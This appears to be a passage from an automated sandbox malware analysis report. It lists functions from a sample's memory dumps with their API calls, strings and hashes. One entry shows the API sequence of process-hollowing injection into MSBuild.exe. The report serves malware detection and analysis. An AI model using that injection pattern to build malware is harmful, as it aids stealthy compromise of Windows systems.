VirtualAlloc, xrefs: 007E0252

Memory Dump Source

Source File: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: eb51de29397353002ea66d8fe1ed589fb9076fe8d3f704323f361d688aa17af6
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: D9B1067260128AAFDB60CF69CC80BDA73A5FF8C714F158524EA08AB341D774FA51CB94

Function 007BA050 Relevance: 13.9, APIs: 6, Strings: 1, Instructions: 1601
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 007BA0B4
CloseHandle.KERNEL32 ref: 007BA23C

Strings

(&#b, xrefs: 007BA1DE

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: (&#b
API String ID: 3498533004-1696011658
Opcode ID: d0313267862e6933191484c301f27c49568156414d7f778fa11a06b492b92e0d
Instruction ID: 653b89da6a27972f97144174974aee80607f67c9d99eec921c55c6969d92b4f8
Opcode Fuzzy Hash: d0313267862e6933191484c301f27c49568156414d7f778fa11a06b492b92e0d
Instruction Fuzzy Hash: E0B26876A546944FEF024AB884B93DF6FF24B6B330F2A6756C6E05F2D3D50B000A9B54

Function 007B8190 Relevance: 2.8, Strings: 1, Instructions: 1555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

70VZ, xrefs: 007B8679

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID: 70VZ
API String ID: 0-260880556
Opcode ID: 6c0747f38af3709ff55088553a29a242b6f85b875550c8edaedee869c427e91d
Instruction ID: 005a69c2e99d5fcde4494ece5b16e493ec98c20acb8a32f3313776e4a5a6d95f
Opcode Fuzzy Hash: 6c0747f38af3709ff55088553a29a242b6f85b875550c8edaedee869c427e91d
Instruction Fuzzy Hash: FBF222B1E155588BDB68CF29CC957A9B7B2AFC8320F1583DDA12E672D4CB305E818F44

Function 007BDD90 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93a94b188ec6952053681ac34a91ad48d56849298dabb9d9f2e9d58c619af6d2
Instruction ID: 188a514c454ea90e09226e7ed0c2a0da1f5d932e2b758eb61c05bedfea93c035
Opcode Fuzzy Hash: 93a94b188ec6952053681ac34a91ad48d56849298dabb9d9f2e9d58c619af6d2
Instruction Fuzzy Hash: 97011974904308CFC714DF68D485BD9B7F0EB58310F4084ADA88897341E778AA84CF81

Function 007CEDF3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,D3EC7EAB,?,007CEF02,?,?,00000000), ref: 007CEEB4

Strings

ext-ms-, xrefs: 007CEE5E
api-ms-, xrefs: 007CEE4A

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 394b136471d8a533449de4b5be71227487d19842fa076bf3a77a0026b033b671
Instruction ID: 8f187d3f25bb45ff39cc43cf5fd126ee3e754c9fe977a658bbb56602716fba06
Opcode Fuzzy Hash: 394b136471d8a533449de4b5be71227487d19842fa076bf3a77a0026b033b671
Instruction Fuzzy Hash: 0321D532A01251ABEB219B24DC45F9A3779AF557F0F25412DFC05EB290D738ED00C6E4

Function 007CBD06 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 007CBD4F
GetLastError.KERNEL32(?,00000000,00000000,?,007C6EAA), ref: 007CBD5B
__dosmaperr.LIBCMT ref: 007CBD62

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 17d2bfc2a6c40de12942f440d04186ad00576711f55d3b552010ab5d9067a950
Instruction ID: 44523051f809a1aef82d7a7c68d1f5da2dacf3441b7495e55d5aa6d771565268
Opcode Fuzzy Hash: 17d2bfc2a6c40de12942f440d04186ad00576711f55d3b552010ab5d9067a950
Instruction Fuzzy Hash: 02014C72A00249EBDF15AFA0DC0AFAE3B79EF04365F00405DB80296150DB799D50DB91

Function 007CC00F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,007CC0D1,007CD3C0,007CD3C0,?,00000002,D3EC7EAB,007CD3C0,00000002), ref: 007CC020
TerminateProcess.KERNEL32(00000000,?,007CC0D1,007CD3C0,007CD3C0,?,00000002,D3EC7EAB,007CD3C0,00000002), ref: 007CC027
ExitProcess.KERNEL32 ref: 007CC039

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: e7d587e7c913b11edfe69882356136059878a6aaab52dbcc61b30b4bdc22db90
Instruction ID: e85226ff964f0b62aed64ffc9a79668055bd8a19ce4f7d019a3f9b5b79d0e116
Opcode Fuzzy Hash: e7d587e7c913b11edfe69882356136059878a6aaab52dbcc61b30b4bdc22db90
Instruction Fuzzy Hash: D9D06C31001248FBCB123F61DC0EE9D3F6AAB48351B048059B9095A131CB39E992DA94

Function 007CF752 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,007CF641,007DF088,0000000C), ref: 007CF79E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,007CF641,007DF088,0000000C), ref: 007CF7B0

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 413dce0e0d0c2e2f21be260ea9c772776764820393901c21741578833376bc5d
Instruction ID: 1b758f29c27af1ef45789da8b5ef8631fe223b21d3fcea38197ad5e16733162c
Opcode Fuzzy Hash: 413dce0e0d0c2e2f21be260ea9c772776764820393901c21741578833376bc5d
Instruction Fuzzy Hash: DA1184716047814ACB308F3E8C88B227BA6AB56330BB8072ED4B6865F1C23CD996D245

Function 007CBE20 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(007DED20,0000000C), ref: 007CBE33
ExitThread.KERNEL32 ref: 007CBE3A

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 55d7238b13460f30d883f68b5facd6278ec097ee3f7ece8009fbe457daeacc14
Instruction ID: c298e39aa710dfe7b8579c2a85660b62729b596e5d7821afe0dc24c96af65eca
Opcode Fuzzy Hash: 55d7238b13460f30d883f68b5facd6278ec097ee3f7ece8009fbe457daeacc14
Instruction Fuzzy Hash: 71F0F671A40208EBDB05ABA0984EF6E3B75AB44711F14455EF0059B252DB7969018BA1

Function 007D00EB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,007D0C59,?,00000000,?,?,007D0B75,?,00000007,?,?,007D118E,?,?), ref: 007D0101
GetLastError.KERNEL32(?,?,007D0C59,?,00000000,?,?,007D0B75,?,00000007,?,?,007D118E,?,?), ref: 007D010C

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 44b51d508a0a4a7a1892a6ae29fc72c81b0b6d7acb4df1a624fba814c437340a
Instruction ID: 1e236099a2be2998274198bb29ce75d925c0fd07bc6ea9cb45c0b03bfe50924a
Opcode Fuzzy Hash: 44b51d508a0a4a7a1892a6ae29fc72c81b0b6d7acb4df1a624fba814c437340a
Instruction Fuzzy Hash: 94E08C32201248EBCB123BB0EC0EB9D3B7CEB447A1F004022F6088E261CA7D9940CBC9

Function 007C6E20 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 007C6F55

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: f573a8030906669cd90948dbdd849ecd34939249857d72cdf0d23c2f344c83fa
Instruction ID: 8bf2bec9d3de1758b887ec9ff37497d1dae461d67e6883e13ba8b46e3a1f0f79
Opcode Fuzzy Hash: f573a8030906669cd90948dbdd849ecd34939249857d72cdf0d23c2f344c83fa
Instruction Fuzzy Hash: 1F31E2B4D04209DFCB04DFA8D594BAEBBF0BB48300F50886EE455A7350DB389A44CF56

Function 007CEEBE Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a05140b284d62e1180a3dd23cf9e48798af3ed65ada095b31e2e5f1d7fbdc96
Instruction ID: 3c3dcff5a12b41246086f0de427cfe27bace3cabebd2b4e6cc74814209ddceeb
Opcode Fuzzy Hash: 3a05140b284d62e1180a3dd23cf9e48798af3ed65ada095b31e2e5f1d7fbdc96
Instruction Fuzzy Hash: EC01F5332102659F9B12CFACEC81F663365FB88360724802CF900CB158EB38D8608BD4

Function 007BDE10 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEllipticRgn.GDI32 ref: 007BDE79

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: CreateElliptic
String ID:
API String ID: 1611293138-0
Opcode ID: 5f1ba728a281564c1b62b3e8daf6c3435e5ed0ba2e9b38f13e9c1758f59aeb9e
Instruction ID: 392e594db8ca696d0c7887be711792318ed80dfd8172c4caa9a185e6b376170a
Opcode Fuzzy Hash: 5f1ba728a281564c1b62b3e8daf6c3435e5ed0ba2e9b38f13e9c1758f59aeb9e
Instruction Fuzzy Hash: 9A11D674D003089BDB04EFA8C5997DEBBF1FF48304F40892DD855AB240EB78AA44CB95

Function 007D0C65 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,-A3400188,?,007C9200,?,?,007C67E7,?,007C6199), ref: 007D0C97

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 975389fba4537a1e89963473d2fc8e3cea750f55d8bff6e2aec9279f95bf6990
Instruction ID: 9be151b5d781a33ab7dd54ee6dd66dd1e645f1f1495556d8f43fb4b52b0f31f6
Opcode Fuzzy Hash: 975389fba4537a1e89963473d2fc8e3cea750f55d8bff6e2aec9279f95bf6990
Instruction Fuzzy Hash: 62E0E5311126609AD6213762ED19BDA3B789B813B0F142323FC8C9A290CB6CCC0085F9

Non-executed Functions

Function 007C9CC2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 007C9CD6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 007C9CE4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 007C9CF5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 007C9D06
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 007C9D17
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 007C9D28
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 007C9D39
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 007C9D4A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 007C9D5B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 007C9D6C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 007C9D7D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 007C9D8E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 007C9D9F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 007C9DB0
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 007C9DC1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 007C9DD2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 007C9DE3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 007C9DF4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 007C9E05
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 007C9E16
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 007C9E27
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 007C9E38
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 007C9E49
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 007C9E5A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 007C9E6B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 007C9E7C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 007C9E8D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 007C9E9E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 007C9EAF
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 007C9EC0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 007C9ED1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 007C9EE2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 007C9EF3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 007C9F04
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 007C9F15
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 007C9F26
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 007C9F37
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 007C9F48
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 007C9F59
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 007C9F6A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 007C9F7B

Strings

SetThreadpoolTimer, xrefs: 007C9D83
CreateThreadpoolWait, xrefs: 007C9DB6
CreateSemaphoreW, xrefs: 007C9D50
ReleaseSRWLockExclusive, xrefs: 007C9EF9
CreateSemaphoreExW, xrefs: 007C9D61
SubmitThreadpoolWork, xrefs: 007C9F2C
GetFileInformationByHandleEx, xrefs: 007C9E4F
WakeConditionVariable, xrefs: 007C9E93
CompareStringEx, xrefs: 007C9F4E
LCMapStringEx, xrefs: 007C9F70
FlsSetValue, xrefs: 007C9D0C
CloseThreadpoolWork, xrefs: 007C9F3D
CloseThreadpoolWait, xrefs: 007C9DD8
GetCurrentPackageId, xrefs: 007C9E2D
CloseThreadpoolTimer, xrefs: 007C9DA5
FlsAlloc, xrefs: 007C9CDE
GetLocaleInfoEx, xrefs: 007C9F5F
FlsFree, xrefs: 007C9CEA
CreateEventExW, xrefs: 007C9D3F
CreateThreadpoolTimer, xrefs: 007C9D72
FlsGetValue, xrefs: 007C9CFB
CreateSymbolicLinkW, xrefs: 007C9E21
InitializeCriticalSectionEx, xrefs: 007C9D1D
kernel32.dll, xrefs: 007C9CD1
GetCurrentProcessorNumber, xrefs: 007C9E0B
WakeAllConditionVariable, xrefs: 007C9EA4
InitializeConditionVariable, xrefs: 007C9E82
GetTickCount64, xrefs: 007C9E3E
GetSystemTimePreciseAsFileTime, xrefs: 007C9E71
SetThreadpoolWait, xrefs: 007C9DC7
InitOnceExecuteOnce, xrefs: 007C9D2E
AcquireSRWLockExclusive, xrefs: 007C9ED7
WaitForThreadpoolTimerCallbacks, xrefs: 007C9D94
TryAcquireSRWLockExclusive, xrefs: 007C9EE8
SetFileInformationByHandle, xrefs: 007C9E60
SleepConditionVariableSRW, xrefs: 007C9F0A
SleepConditionVariableCS, xrefs: 007C9EB5
FreeLibraryWhenCallbackReturns, xrefs: 007C9DFA
FlushProcessWriteBuffers, xrefs: 007C9DE9
CreateThreadpoolWork, xrefs: 007C9F1B
InitializeSRWLock, xrefs: 007C9EC6

Memory Dump Source

Source File: 00000007.00000002.2416142720.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000007.00000002.2416061316.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416172357.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416232590.00000000007E0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416257181.00000000007E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416281436.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2416308427.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: AddressProc$HandleModule
